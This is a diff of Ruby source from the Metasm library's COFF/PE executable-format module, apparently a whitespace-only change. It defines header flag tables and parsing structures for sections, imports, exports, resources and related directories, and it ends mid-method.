- 0x0001 => 'RELOCS_STRIPPED', 0x0002 => 'EXECUTABLE_IMAGE', - 0x0004 => 'LINE_NUMS_STRIPPED', 0x0008 => 'LOCAL_SYMS_STRIPPED', - 0x0010 => 'AGGRESSIVE_WS_TRIM', 0x0020 => 'LARGE_ADDRESS_AWARE', - 0x0040 => 'x16BIT_MACHINE', 0x0080 => 'BYTES_REVERSED_LO', - 0x0100 => 'x32BIT_MACHINE', 0x0200 => 'DEBUG_STRIPPED', - 0x0400 => 'REMOVABLE_RUN_FROM_SWAP', 0x0800 => 'NET_RUN_FROM_SWAP', - 0x1000 => 'SYSTEM', 0x2000 => 'DLL', - 0x4000 => 'UP_SYSTEM_ONLY', 0x8000 => 'BYTES_REVERSED_HI' - } - - MACHINE = { - 0x0 => 'UNKNOWN', 0x184 => 'ALPHA', 0x1c0 => 'ARM', - 0x1d3 => 'AM33', 0x8664=> 'AMD64', 0xebc => 'EBC', - 0x9041=> 'M32R', 0x1f1 => 'POWERPCFP', - 0x284 => 'ALPHA64', 0x14c => 'I386', 0x200 => 'IA64', - 0x268 => 'M68K', 0x266 => 'MIPS16', 0x366 => 'MIPSFPU', - 0x466 => 'MIPSFPU16', 0x1f0 => 'POWERPC', 0x162 => 'R3000', - 0x166 => 'R4000', 0x168 => 'R10000', 0x1a2 => 'SH3', - 0x1a3 => 'SH3DSP', 0x1a6 => 'SH4', 0x1a8 => 'SH5', - 0x1c2 => 'THUMB', 0x169 => 'WCEMIPSV2' - } - - # PE+ is for 64bits address spaces - SIGNATURE = { 0x10b => 'PE', 0x20b => 'PE+', 0x107 => 'ROM' } - - SUBSYSTEM = { - 0 => 'UNKNOWN', 1 => 'NATIVE', 2 => 'WINDOWS_GUI', - 3 => 'WINDOWS_CUI', 5 => 'OS/2_CUI', 7 => 'POSIX_CUI', - 8 => 'WIN9X_DRIVER', 9 => 'WINDOWS_CE_GUI', - 10 => 'EFI_APPLICATION', - 11 => 'EFI_BOOT_SERVICE_DRIVER', 12 => 'EFI_RUNTIME_DRIVER', - 13 => 'EFI_ROM', 14 => 'XBOX' - } - - DLL_CHARACTERISTIC_BITS = { - 0x40 => 'DYNAMIC_BASE', 0x80 => 'FORCE_INTEGRITY', 0x100 => 'NX_COMPAT', - 0x200 => 'NO_ISOLATION', 0x400 => 'NO_SEH', 0x800 => 'NO_BIND', - 0x2000 => 'WDM_DRIVER', 0x8000 => 'TERMINAL_SERVER_AWARE' - } - - BASE_RELOCATION_TYPE = { 0 => 'ABSOLUTE', 1 => 'HIGH', 2 => 'LOW', 3 => 'HIGHLOW', - 4 => 'HIGHADJ', 5 => 'MIPS_JMPADDR', 9 => 'MIPS_JMPADDR16', 10 => 'DIR64' - } - - RELOCATION_TYPE = Hash.new({}).merge( - 'AMD64' => { 0 => 'ABSOLUTE', 1 => 'ADDR64', 2 => 'ADDR32', 3 => 'ADDR32NB', - 4 => 'REL32', 5 => 'REL32_1', 6 => 'REL32_2', 7 => 'REL32_3', - 8 => 'REL32_4', 9 => 'REL32_5', 10 => 'SECTION', 11 => 'SECREL', - 12 => 'SECREL7', 13 => 'TOKEN', 14 => 'SREL32', 15 => 'PAIR', - 16 => 'SSPAN32' }, - 'ARM' => { 0 => 'ABSOLUTE', 1 => 'ADDR32', 2 => 'ADDR32NB', 3 => 'BRANCH24', - 4 => 'BRANCH11', 14 => 'SECTION', 15 => 'SECREL' }, - 'I386' => { 0 => 'ABSOLUTE', 1 => 'DIR16', 2 => 'REL16', 6 => 'DIR32', - 7 => 'DIR32NB', 9 => 'SEG12', 10 => 'SECTION', 11 => 'SECREL', - 12 => 'TOKEN', 13 => 'SECREL7', 20 => 'REL32' } - ) - - # lsb of symbol type, unused - SYMBOL_BTYPE = { 0 => 'NULL', 1 => 'VOID', 2 => 'CHAR', 3 => 'SHORT', - 4 => 'INT', 5 => 'LONG', 6 => 'FLOAT', 7 => 'DOUBLE', 8 => 'STRUCT', - 9 => 'UNION', 10 => 'ENUM', 11 => 'MOE', 12 => 'BYTE', 13 => 'WORD', - 14 => 'UINT', 15 => 'DWORD'} - SYMBOL_TYPE = { 0 => 'NULL', 1 => 'POINTER', 2 => 'FUNCTION', 3 => 'ARRAY' } - SYMBOL_SECTION = { 0 => 'UNDEF', 0xffff => 'ABS', 0xfffe => 'DEBUG' } - SYMBOL_STORAGE = { 0xff => 'EOF', 0 => 'NULL', 1 => 'AUTO', 2 => 'EXTERNAL', - 3 => 'STATIC', 4 => 'REGISTER', 5 => 'EXT_DEF', 6 => 'LABEL', - 7 => 'UNDEF_LABEL', 8 => 'STRUCT_MEMBER', 9 => 'ARGUMENT', 10 => 'STRUCT_TAG', - 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', - 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', - 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', - 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', - } - - DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', - 5 => 'EXCEPTION', 6 => 'FIXUP', 7 => 'OMAP_TO_SRC', 8 => 'OMAP_FROM_SRC', - 9 => 'BORLAND', 10 => 'RESERVED10', 11 => 'CLSID' } - - DIRECTORIES = %w[export_table import_table resource_table exception_table certificate_table - base_relocation_table debug architecture global_ptr tls_table load_config - bound_import iat delay_import com_runtime reserved] - - SECTION_CHARACTERISTIC_BITS = { - 0x20 => 'CONTAINS_CODE', 0x40 => 'CONTAINS_DATA', 0x80 => 'CONTAINS_UDATA', - 0x100 => 'LNK_OTHER', 0x200 => 'LNK_INFO', 0x800 => 'LNK_REMOVE', - 0x1000 => 'LNK_COMDAT', 0x8000 => 'GPREL', - 0x20000 => 'MEM_PURGEABLE|16BIT', 0x40000 => 'MEM_LOCKED', 0x80000 => 'MEM_PRELOAD', - 0x100000 => 'ALIGN_1BYTES', 0x200000 => 'ALIGN_2BYTES', - 0x300000 => 'ALIGN_4BYTES', 0x400000 => 'ALIGN_8BYTES', - 0x500000 => 'ALIGN_16BYTES', 0x600000 => 'ALIGN_32BYTES', - 0x700000 => 'ALIGN_64BYTES', 0x800000 => 'ALIGN_128BYTES', - 0x900000 => 'ALIGN_256BYTES', 0xA00000 => 'ALIGN_512BYTES', - 0xB00000 => 'ALIGN_1024BYTES', 0xC00000 => 'ALIGN_2048BYTES', - 0xD00000 => 'ALIGN_4096BYTES', 0xE00000 => 'ALIGN_8192BYTES', - 0x01000000 => 'LNK_NRELOC_OVFL', 0x02000000 => 'MEM_DISCARDABLE', - 0x04000000 => 'MEM_NOT_CACHED', 0x08000000 => 'MEM_NOT_PAGED', - 0x10000000 => 'MEM_SHARED', 0x20000000 => 'MEM_EXECUTE', - 0x40000000 => 'MEM_READ', 0x80000000 => 'MEM_WRITE' - } - # NRELOC_OVFL means there are more than 0xffff reloc - # the reloc count must be set to 0xffff, and the real reloc count - # is the VA of the first relocation - - ORDINAL_REGEX = /^Ordinal_(\d+)$/ - - COMIMAGE_FLAGS = { - 1 => 'ILONLY', 2 => '32BITREQUIRED', 4 => 'IL_LIBRARY', - 8 => 'STRONGNAMESIGNED', 16 => 'NATIVE_ENTRYPOINT', - 0x10000 => 'TRACKDEBUGDATA' - } - - class SerialStruct < Metasm::SerialStruct - new_int_field :xword - end - - class Header < SerialStruct - half :machine, 'I386', MACHINE - half :num_sect - words :time, :ptr_sym, :num_sym - half :size_opthdr - half :characteristics - fld_bits :characteristics, CHARACTERISTIC_BITS - end - - # present in linked files (exe/dll/kmod) - class OptionalHeader < SerialStruct - half :signature, 'PE', SIGNATURE - bytes :link_ver_maj, :link_ver_min - words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code - # base_of_data does not exist in 64-bit - new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0) - # NT-specific fields - xword :image_base - words :sect_align, :file_align - halfs :os_ver_maj, :os_ver_min, :img_ver_maj, :img_ver_min, :subsys_maj, :subsys_min - words :reserved, :image_size, :headers_size, :checksum - half :subsystem, 0, SUBSYSTEM - half :dll_characts - fld_bits :dll_characts, DLL_CHARACTERISTIC_BITS - xwords :stack_reserve, :stack_commit, :heap_reserve, :heap_commit - words :ldrflags, :numrva - end - - # COFF relocatable object symbol (table offset found in the Header.ptr_sym) - class Symbol < SerialStruct - str :name, 8 # if the 1st 4 bytes are 0, the word at 4...8 is the name index in the string table - word :value - half :sec_nr - fld_enum :sec_nr, SYMBOL_SECTION - bitfield :half, 0 => :type_base, 4 => :type - fld_enum :type_base, SYMBOL_BTYPE - fld_enum :type, SYMBOL_TYPE - bytes :storage, :nr_aux - fld_enum :storage, SYMBOL_STORAGE - - attr_accessor :aux - end - - class Section < SerialStruct - str :name, 8 - words :virtsize, :virtaddr, :rawsize, :rawaddr, :relocaddr, :linenoaddr - halfs :relocnr, :linenonr - word :characteristics - fld_bits :characteristics, SECTION_CHARACTERISTIC_BITS - - attr_accessor :encoded, :relocs - end - - # COFF relocatable object relocation (per section, see relocaddr/relocnr) - class RelocObj < SerialStruct - word :va - word :symidx - half :type - fld_enum(:type) { |coff, rel| RELOCATION_TYPE[coff.header.machine] || {} } - attr_accessor :sym - end - - # lists the functions/addresses exported to the OS (pendant of ImportDirectory) - class ExportDirectory < SerialStruct - words :reserved, :timestamp - halfs :version_major, :version_minor - words :libname_p, :ordinal_base, :num_exports, :num_names, :func_p, :names_p, :ord_p - attr_accessor :libname, :exports - - class Export - attr_accessor :forwarder_lib, :forwarder_ordinal, :forwarder_name, :target, :target_rva, :name_p, :name, :ordinal - end - end - - # contains the name of dynamic libraries required by the program, and the function to import from them - class ImportDirectory < SerialStruct - words :ilt_p, :timestamp, :firstforwarder, :libname_p, :iat_p - fld_default :firstforwarder, 0xffff_ffff - attr_accessor :libname, :imports, :iat - - class Import - attr_accessor :ordinal, :hint, :hintname_p, :name, :target, :thunk - end - end - - # tree-like structure, holds all misc data the program might need (icons, cursors, version information) - # conventionnally structured in a 3-level depth structure: - # I resource type (icon/cursor/etc, see +TYPES+) - # II resource id (icon n1, icon 'toto', ...) - # III language-specific version (icon n1 en, icon n1 en-dvorak...) - class ResourceDirectory < SerialStruct - words :characteristics, :timestamp - halfs :major_version, :minor_version, :nr_names, :nr_id - attr_accessor :entries - attr_accessor :curoff_label # internal use, in encoder - - class Entry - attr_accessor :name_p, :name, :name_w, - :id, :subdir_p, :subdir, :dataentry_p, - :data_p, :data, :codepage, :reserved - end - end - - # array of relocations to apply to an executable file - # when it is loaded at an address that is not its preferred_base_address - class RelocationTable < SerialStruct - word :base_addr - attr_accessor :relocs - - class Relocation < SerialStruct - bitfield :half, 0 => :offset, 12 => :type - fld_enum :type, BASE_RELOCATION_TYPE - end - end - - class DebugDirectory < SerialStruct - words :characteristics, :timestamp - halfs :major_version, :minor_version - words :type, :size_of_data, :addr, :pointer - fld_enum :type, DEBUG_TYPE - - attr_accessor :data - - class NB10 < SerialStruct - word :offset - word :signature - word :age - strz :pdbfilename - end - - class RSDS < SerialStruct - mem :guid, 16 - word :age - strz :pdbfilename - end - end - - class TLSDirectory < SerialStruct - xwords :start_va, :end_va, :index_addr, :callback_p + CHARACTERISTIC_BITS = { + 0x0001 => 'RELOCS_STRIPPED', 0x0002 => 'EXECUTABLE_IMAGE', + 0x0004 => 'LINE_NUMS_STRIPPED', 0x0008 => 'LOCAL_SYMS_STRIPPED', + 0x0010 => 'AGGRESSIVE_WS_TRIM', 0x0020 => 'LARGE_ADDRESS_AWARE', + 0x0040 => 'x16BIT_MACHINE', 0x0080 => 'BYTES_REVERSED_LO', + 0x0100 => 'x32BIT_MACHINE', 0x0200 => 'DEBUG_STRIPPED', + 0x0400 => 'REMOVABLE_RUN_FROM_SWAP', 0x0800 => 'NET_RUN_FROM_SWAP', + 0x1000 => 'SYSTEM', 0x2000 => 'DLL', + 0x4000 => 'UP_SYSTEM_ONLY', 0x8000 => 'BYTES_REVERSED_HI' + } + + MACHINE = { + 0x0 => 'UNKNOWN', 0x184 => 'ALPHA', 0x1c0 => 'ARM', + 0x1d3 => 'AM33', 0x8664=> 'AMD64', 0xebc => 'EBC', + 0x9041=> 'M32R', 0x1f1 => 'POWERPCFP', + 0x284 => 'ALPHA64', 0x14c => 'I386', 0x200 => 'IA64', + 0x268 => 'M68K', 0x266 => 'MIPS16', 0x366 => 'MIPSFPU', + 0x466 => 'MIPSFPU16', 0x1f0 => 'POWERPC', 0x162 => 'R3000', + 0x166 => 'R4000', 0x168 => 'R10000', 0x1a2 => 'SH3', + 0x1a3 => 'SH3DSP', 0x1a6 => 'SH4', 0x1a8 => 'SH5', + 0x1c2 => 'THUMB', 0x169 => 'WCEMIPSV2' + } + + # PE+ is for 64bits address spaces + SIGNATURE = { 0x10b => 'PE', 0x20b => 'PE+', 0x107 => 'ROM' } + + SUBSYSTEM = { + 0 => 'UNKNOWN', 1 => 'NATIVE', 2 => 'WINDOWS_GUI', + 3 => 'WINDOWS_CUI', 5 => 'OS/2_CUI', 7 => 'POSIX_CUI', + 8 => 'WIN9X_DRIVER', 9 => 'WINDOWS_CE_GUI', + 10 => 'EFI_APPLICATION', + 11 => 'EFI_BOOT_SERVICE_DRIVER', 12 => 'EFI_RUNTIME_DRIVER', + 13 => 'EFI_ROM', 14 => 'XBOX' + } + + DLL_CHARACTERISTIC_BITS = { + 0x40 => 'DYNAMIC_BASE', 0x80 => 'FORCE_INTEGRITY', 0x100 => 'NX_COMPAT', + 0x200 => 'NO_ISOLATION', 0x400 => 'NO_SEH', 0x800 => 'NO_BIND', + 0x2000 => 'WDM_DRIVER', 0x8000 => 'TERMINAL_SERVER_AWARE' + } + + BASE_RELOCATION_TYPE = { 0 => 'ABSOLUTE', 1 => 'HIGH', 2 => 'LOW', 3 => 'HIGHLOW', + 4 => 'HIGHADJ', 5 => 'MIPS_JMPADDR', 9 => 'MIPS_JMPADDR16', 10 => 'DIR64' + } + + RELOCATION_TYPE = Hash.new({}).merge( + 'AMD64' => { 0 => 'ABSOLUTE', 1 => 'ADDR64', 2 => 'ADDR32', 3 => 'ADDR32NB', + 4 => 'REL32', 5 => 'REL32_1', 6 => 'REL32_2', 7 => 'REL32_3', + 8 => 'REL32_4', 9 => 'REL32_5', 10 => 'SECTION', 11 => 'SECREL', + 12 => 'SECREL7', 13 => 'TOKEN', 14 => 'SREL32', 15 => 'PAIR', + 16 => 'SSPAN32' }, + 'ARM' => { 0 => 'ABSOLUTE', 1 => 'ADDR32', 2 => 'ADDR32NB', 3 => 'BRANCH24', + 4 => 'BRANCH11', 14 => 'SECTION', 15 => 'SECREL' }, + 'I386' => { 0 => 'ABSOLUTE', 1 => 'DIR16', 2 => 'REL16', 6 => 'DIR32', + 7 => 'DIR32NB', 9 => 'SEG12', 10 => 'SECTION', 11 => 'SECREL', + 12 => 'TOKEN', 13 => 'SECREL7', 20 => 'REL32' } + ) + + # lsb of symbol type, unused + SYMBOL_BTYPE = { 0 => 'NULL', 1 => 'VOID', 2 => 'CHAR', 3 => 'SHORT', + 4 => 'INT', 5 => 'LONG', 6 => 'FLOAT', 7 => 'DOUBLE', 8 => 'STRUCT', + 9 => 'UNION', 10 => 'ENUM', 11 => 'MOE', 12 => 'BYTE', 13 => 'WORD', + 14 => 'UINT', 15 => 'DWORD'} + SYMBOL_TYPE = { 0 => 'NULL', 1 => 'POINTER', 2 => 'FUNCTION', 3 => 'ARRAY' } + SYMBOL_SECTION = { 0 => 'UNDEF', 0xffff => 'ABS', 0xfffe => 'DEBUG' } + SYMBOL_STORAGE = { 0xff => 'EOF', 0 => 'NULL', 1 => 'AUTO', 2 => 'EXTERNAL', + 3 => 'STATIC', 4 => 'REGISTER', 5 => 'EXT_DEF', 6 => 'LABEL', + 7 => 'UNDEF_LABEL', 8 => 'STRUCT_MEMBER', 9 => 'ARGUMENT', 10 => 'STRUCT_TAG', + 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', + 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', + 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', + 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', + } + + DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', + 5 => 'EXCEPTION', 6 => 'FIXUP', 7 => 'OMAP_TO_SRC', 8 => 'OMAP_FROM_SRC', + 9 => 'BORLAND', 10 => 'RESERVED10', 11 => 'CLSID' } + + DIRECTORIES = %w[export_table import_table resource_table exception_table certificate_table + base_relocation_table debug architecture global_ptr tls_table load_config + bound_import iat delay_import com_runtime reserved] + + SECTION_CHARACTERISTIC_BITS = { + 0x20 => 'CONTAINS_CODE', 0x40 => 'CONTAINS_DATA', 0x80 => 'CONTAINS_UDATA', + 0x100 => 'LNK_OTHER', 0x200 => 'LNK_INFO', 0x800 => 'LNK_REMOVE', + 0x1000 => 'LNK_COMDAT', 0x8000 => 'GPREL', + 0x20000 => 'MEM_PURGEABLE|16BIT', 0x40000 => 'MEM_LOCKED', 0x80000 => 'MEM_PRELOAD', + 0x100000 => 'ALIGN_1BYTES', 0x200000 => 'ALIGN_2BYTES', + 0x300000 => 'ALIGN_4BYTES', 0x400000 => 'ALIGN_8BYTES', + 0x500000 => 'ALIGN_16BYTES', 0x600000 => 'ALIGN_32BYTES', + 0x700000 => 'ALIGN_64BYTES', 0x800000 => 'ALIGN_128BYTES', + 0x900000 => 'ALIGN_256BYTES', 0xA00000 => 'ALIGN_512BYTES', + 0xB00000 => 'ALIGN_1024BYTES', 0xC00000 => 'ALIGN_2048BYTES', + 0xD00000 => 'ALIGN_4096BYTES', 0xE00000 => 'ALIGN_8192BYTES', + 0x01000000 => 'LNK_NRELOC_OVFL', 0x02000000 => 'MEM_DISCARDABLE', + 0x04000000 => 'MEM_NOT_CACHED', 0x08000000 => 'MEM_NOT_PAGED', + 0x10000000 => 'MEM_SHARED', 0x20000000 => 'MEM_EXECUTE', + 0x40000000 => 'MEM_READ', 0x80000000 => 'MEM_WRITE' + } + # NRELOC_OVFL means there are more than 0xffff reloc + # the reloc count must be set to 0xffff, and the real reloc count + # is the VA of the first relocation + + ORDINAL_REGEX = /^Ordinal_(\d+)$/ + + COMIMAGE_FLAGS = { + 1 => 'ILONLY', 2 => '32BITREQUIRED', 4 => 'IL_LIBRARY', + 8 => 'STRONGNAMESIGNED', 16 => 'NATIVE_ENTRYPOINT', + 0x10000 => 'TRACKDEBUGDATA' + } + + class SerialStruct < Metasm::SerialStruct + new_int_field :xword + end + + class Header < SerialStruct + half :machine, 'I386', MACHINE + half :num_sect + words :time, :ptr_sym, :num_sym + half :size_opthdr + half :characteristics + fld_bits :characteristics, CHARACTERISTIC_BITS + end + + # present in linked files (exe/dll/kmod) + class OptionalHeader < SerialStruct + half :signature, 'PE', SIGNATURE + bytes :link_ver_maj, :link_ver_min + words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code + # base_of_data does not exist in 64-bit + new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0) + # NT-specific fields + xword :image_base + words :sect_align, :file_align + halfs :os_ver_maj, :os_ver_min, :img_ver_maj, :img_ver_min, :subsys_maj, :subsys_min + words :reserved, :image_size, :headers_size, :checksum + half :subsystem, 0, SUBSYSTEM + half :dll_characts + fld_bits :dll_characts, DLL_CHARACTERISTIC_BITS + xwords :stack_reserve, :stack_commit, :heap_reserve, :heap_commit + words :ldrflags, :numrva + end + + # COFF relocatable object symbol (table offset found in the Header.ptr_sym) + class Symbol < SerialStruct + str :name, 8 # if the 1st 4 bytes are 0, the word at 4...8 is the name index in the string table + word :value + half :sec_nr + fld_enum :sec_nr, SYMBOL_SECTION + bitfield :half, 0 => :type_base, 4 => :type + fld_enum :type_base, SYMBOL_BTYPE + fld_enum :type, SYMBOL_TYPE + bytes :storage, :nr_aux + fld_enum :storage, SYMBOL_STORAGE + + attr_accessor :aux + end + + class Section < SerialStruct + str :name, 8 + words :virtsize, :virtaddr, :rawsize, :rawaddr, :relocaddr, :linenoaddr + halfs :relocnr, :linenonr + word :characteristics + fld_bits :characteristics, SECTION_CHARACTERISTIC_BITS + + attr_accessor :encoded, :relocs + end + + # COFF relocatable object relocation (per section, see relocaddr/relocnr) + class RelocObj < SerialStruct + word :va + word :symidx + half :type + fld_enum(:type) { |coff, rel| RELOCATION_TYPE[coff.header.machine] || {} } + attr_accessor :sym + end + + # lists the functions/addresses exported to the OS (pendant of ImportDirectory) + class ExportDirectory < SerialStruct + words :reserved, :timestamp + halfs :version_major, :version_minor + words :libname_p, :ordinal_base, :num_exports, :num_names, :func_p, :names_p, :ord_p + attr_accessor :libname, :exports + + class Export + attr_accessor :forwarder_lib, :forwarder_ordinal, :forwarder_name, :target, :target_rva, :name_p, :name, :ordinal + end + end + + # contains the name of dynamic libraries required by the program, and the function to import from them + class ImportDirectory < SerialStruct + words :ilt_p, :timestamp, :firstforwarder, :libname_p, :iat_p + fld_default :firstforwarder, 0xffff_ffff + attr_accessor :libname, :imports, :iat + + class Import + attr_accessor :ordinal, :hint, :hintname_p, :name, :target, :thunk + end + end + + # tree-like structure, holds all misc data the program might need (icons, cursors, version information) + # conventionnally structured in a 3-level depth structure: + # I resource type (icon/cursor/etc, see +TYPES+) + # II resource id (icon n1, icon 'toto', ...) + # III language-specific version (icon n1 en, icon n1 en-dvorak...) + class ResourceDirectory < SerialStruct + words :characteristics, :timestamp + halfs :major_version, :minor_version, :nr_names, :nr_id + attr_accessor :entries + attr_accessor :curoff_label # internal use, in encoder + + class Entry + attr_accessor :name_p, :name, :name_w, + :id, :subdir_p, :subdir, :dataentry_p, + :data_p, :data, :codepage, :reserved + end + end + + # array of relocations to apply to an executable file + # when it is loaded at an address that is not its preferred_base_address + class RelocationTable < SerialStruct + word :base_addr + attr_accessor :relocs + + class Relocation < SerialStruct + bitfield :half, 0 => :offset, 12 => :type + fld_enum :type, BASE_RELOCATION_TYPE + end + end + + class DebugDirectory < SerialStruct + words :characteristics, :timestamp + halfs :major_version, :minor_version + words :type, :size_of_data, :addr, :pointer + fld_enum :type, DEBUG_TYPE + + attr_accessor :data + + class NB10 < SerialStruct + word :offset + word :signature + word :age + strz :pdbfilename + end + + class RSDS < SerialStruct + mem :guid, 16 + word :age + strz :pdbfilename + end + end + + class TLSDirectory < SerialStruct + xwords :start_va, :end_va, :index_addr, :callback_p words :zerofill_sz, :characteristics - attr_accessor :callbacks - end - - # the 'load configuration' directory (used for SafeSEH) - class LoadConfig < SerialStruct - words :signature, :timestamp - halfs :major_version, :minor_version - words :globalflags_clear, :globalflags_set, :critsec_timeout - # lockpfxtable is an array of VA of LOCK prefixes, to be nopped on singleproc machines (!) - xwords :decommitblock, :decommittotal, :lockpfxtable, :maxalloc, :maxvirtmem, :process_affinity_mask - word :process_heap_flags - halfs :service_pack_id, :reserved - xwords :editlist, :security_cookie, :sehtable_p, :sehcount - - attr_accessor :safeseh - end - - class DelayImportDirectory < SerialStruct - words :attributes, :libname_p, :handle_p, :iat_p, :int_p, :biat_p, :uiat_p, :timestamp - - attr_accessor :libname - end - - # structure defining entrypoints and stuff for .net binaries - class Cor20Header < SerialStruct - word :size - halfs :major_version, :minor_version # runtime version - words :metadata_rva, :metadata_sz - word :flags - fld_bits :flags, COMIMAGE_FLAGS - word :entrypoint # RVA to native or managed ep, depending on flags - words :resources_rva, :resources_sz - words :strongnamesig_rva, :strongnamesig_sz - words :codemgr_rva, :codemgr_sz - words :vtfixup_rva, :vtfixup_sz - words :eatjumps_rva, :eatjumps_sz - words :managednativehdr_rva, :managednativehdr_sz - - attr_accessor :metadata, :resources, :strongnamesig, :codemgr, :vtfixup, :eatjumps, :managednativehdr - end - - # for the icon, the one that appears in the explorer is - # (NT) the one with the lowest ID - # (98) the first to appear in the table - class ResourceDirectory - def to_hash(depth=0) - map = case depth - when 0; TYPE - when 1; {} # resource-id - when 2; {} # lang - else {} - end - @entries.inject({}) { |h, e| - k = e.id ? map.fetch(e.id, e.id) : e.name ? e.name : e.name_w - v = e.subdir ? e.subdir.to_hash(depth+1) : e.data - h.update k => v - } - end - - def self.from_hash(h, depth=0) - map = case depth - when 0; TYPE - when 1; {} # resource-id - when 2; {} # lang - else {} - end - ret = new - ret.entries = h.map { |k, v| - e = Entry.new - k.kind_of?(Integer) ? (e.id = k) : map.index(k) ? (e.id = map.index(k)) : (e.name = k) # name_w ? - v.kind_of?(Hash) ? (e.subdir = from_hash(v, depth+1)) : (e.data = v) - e - } - ret - end - - # returns a string with the to_hash key tree - def to_s - to_s_a(0).join("\n") - end - - def to_s_a(depth) - @entries.map { |e| - ar = [] - ar << if e.id - if depth == 0 and TYPE.has_key?(e.id); "#{e.id.to_s} (#{TYPE[e.id]})".ljust(18) - else e.id.to_s.ljust(5) - end - else (e.name || e.name_w).inspect - end - if e.subdir - sa = e.subdir.to_s_a(depth+1) - if sa.length == 1 - ar.last << " | #{sa.first}" - else - ar << sa.map { |s| ' ' + s } - end - elsif e.data.length > 16 - ar.last << " #{e.data[0, 8].inspect}... <#{e.data.length} bytes>" - else - ar.last << ' ' << e.data.inspect - end - ar - }.flatten - end - - TYPE = { - 1 => 'CURSOR', 2 => 'BITMAP', 3 => 'ICON', 4 => 'MENU', - 5 => 'DIALOG', 6 => 'STRING', 7 => 'FONTDIR', 8 => 'FONT', - 9 => 'ACCELERATOR', 10 => 'RCADATA', 11 => 'MESSAGETABLE', - 12 => 'GROUP_CURSOR', 14 => 'GROUP_ICON', 16 => 'VERSION', - 17 => 'DLGINCLUDE', 19 => 'PLUGPLAY', 20 => 'VXD', - 21 => 'ANICURSOR', 22 => 'ANIICON', 23 => 'HTML', - 24 => 'MANIFEST' - } - - ACCELERATOR_BITS = { - 1 => 'VIRTKEY', 2 => 'NOINVERT', 4 => 'SHIFT', 8 => 'CTRL', - 16 => 'ALT', 128 => 'LAST' - } - - # cursor = raw data, cursor_group = header , pareil pour les icons - class Cursor - attr_accessor :xhotspot, :yhotspot, :data - end - end - - attr_accessor :header, :optheader, :directory, :sections, :endianness, :symbols, :bitsize, - :export, :imports, :resource, :certificates, :relocations, :debug, :tls, :loadconfig, :delayimports, :com_header - - # boolean, set to true to have #decode() ignore the base_relocs directory - attr_accessor :nodecode_relocs - - def initialize(*a) - cpu = a.grep(CPU).first - @nodecode_relocs = true if a.include? :nodecode_relocs - - @directory = {} # DIRECTORIES.key => [rva, size] - @sections = [] - @endianness = cpu ? cpu.endianness : :little - @bitsize = cpu ? cpu.size : 32 - @header = Header.new - @optheader = OptionalHeader.new - super(cpu) - end - - def shortname; 'coff'; end + attr_accessor :callbacks + end + + # the 'load configuration' directory (used for SafeSEH) + class LoadConfig < SerialStruct + words :signature, :timestamp + halfs :major_version, :minor_version + words :globalflags_clear, :globalflags_set, :critsec_timeout + # lockpfxtable is an array of VA of LOCK prefixes, to be nopped on singleproc machines (!) + xwords :decommitblock, :decommittotal, :lockpfxtable, :maxalloc, :maxvirtmem, :process_affinity_mask + word :process_heap_flags + halfs :service_pack_id, :reserved + xwords :editlist, :security_cookie, :sehtable_p, :sehcount + + attr_accessor :safeseh + end + + class DelayImportDirectory < SerialStruct + words :attributes, :libname_p, :handle_p, :iat_p, :int_p, :biat_p, :uiat_p, :timestamp + + attr_accessor :libname + end + + # structure defining entrypoints and stuff for .net binaries + class Cor20Header < SerialStruct + word :size + halfs :major_version, :minor_version # runtime version + words :metadata_rva, :metadata_sz + word :flags + fld_bits :flags, COMIMAGE_FLAGS + word :entrypoint # RVA to native or managed ep, depending on flags + words :resources_rva, :resources_sz + words :strongnamesig_rva, :strongnamesig_sz + words :codemgr_rva, :codemgr_sz + words :vtfixup_rva, :vtfixup_sz + words :eatjumps_rva, :eatjumps_sz + words :managednativehdr_rva, :managednativehdr_sz + + attr_accessor :metadata, :resources, :strongnamesig, :codemgr, :vtfixup, :eatjumps, :managednativehdr + end + + # for the icon, the one that appears in the explorer is + # (NT) the one with the lowest ID + # (98) the first to appear in the table + class ResourceDirectory + def to_hash(depth=0) + map = case depth + when 0; TYPE + when 1; {} # resource-id + when 2; {} # lang + else {} + end + @entries.inject({}) { |h, e| + k = e.id ? map.fetch(e.id, e.id) : e.name ? e.name : e.name_w + v = e.subdir ? e.subdir.to_hash(depth+1) : e.data + h.update k => v + } + end + + def self.from_hash(h, depth=0) + map = case depth + when 0; TYPE + when 1; {} # resource-id + when 2; {} # lang + else {} + end + ret = new + ret.entries = h.map { |k, v| + e = Entry.new + k.kind_of?(Integer) ? (e.id = k) : map.index(k) ? (e.id = map.index(k)) : (e.name = k) # name_w ? + v.kind_of?(Hash) ? (e.subdir = from_hash(v, depth+1)) : (e.data = v) + e + } + ret + end + + # returns a string with the to_hash key tree + def to_s + to_s_a(0).join("\n") + end + + def to_s_a(depth) + @entries.map { |e| + ar = [] + ar << if e.id + if depth == 0 and TYPE.has_key?(e.id); "#{e.id.to_s} (#{TYPE[e.id]})".ljust(18) + else e.id.to_s.ljust(5) + end + else (e.name || e.name_w).inspect + end + if e.subdir + sa = e.subdir.to_s_a(depth+1) + if sa.length == 1 + ar.last << " | #{sa.first}" + else + ar << sa.map { |s| ' ' + s } + end + elsif e.data.length > 16 + ar.last << " 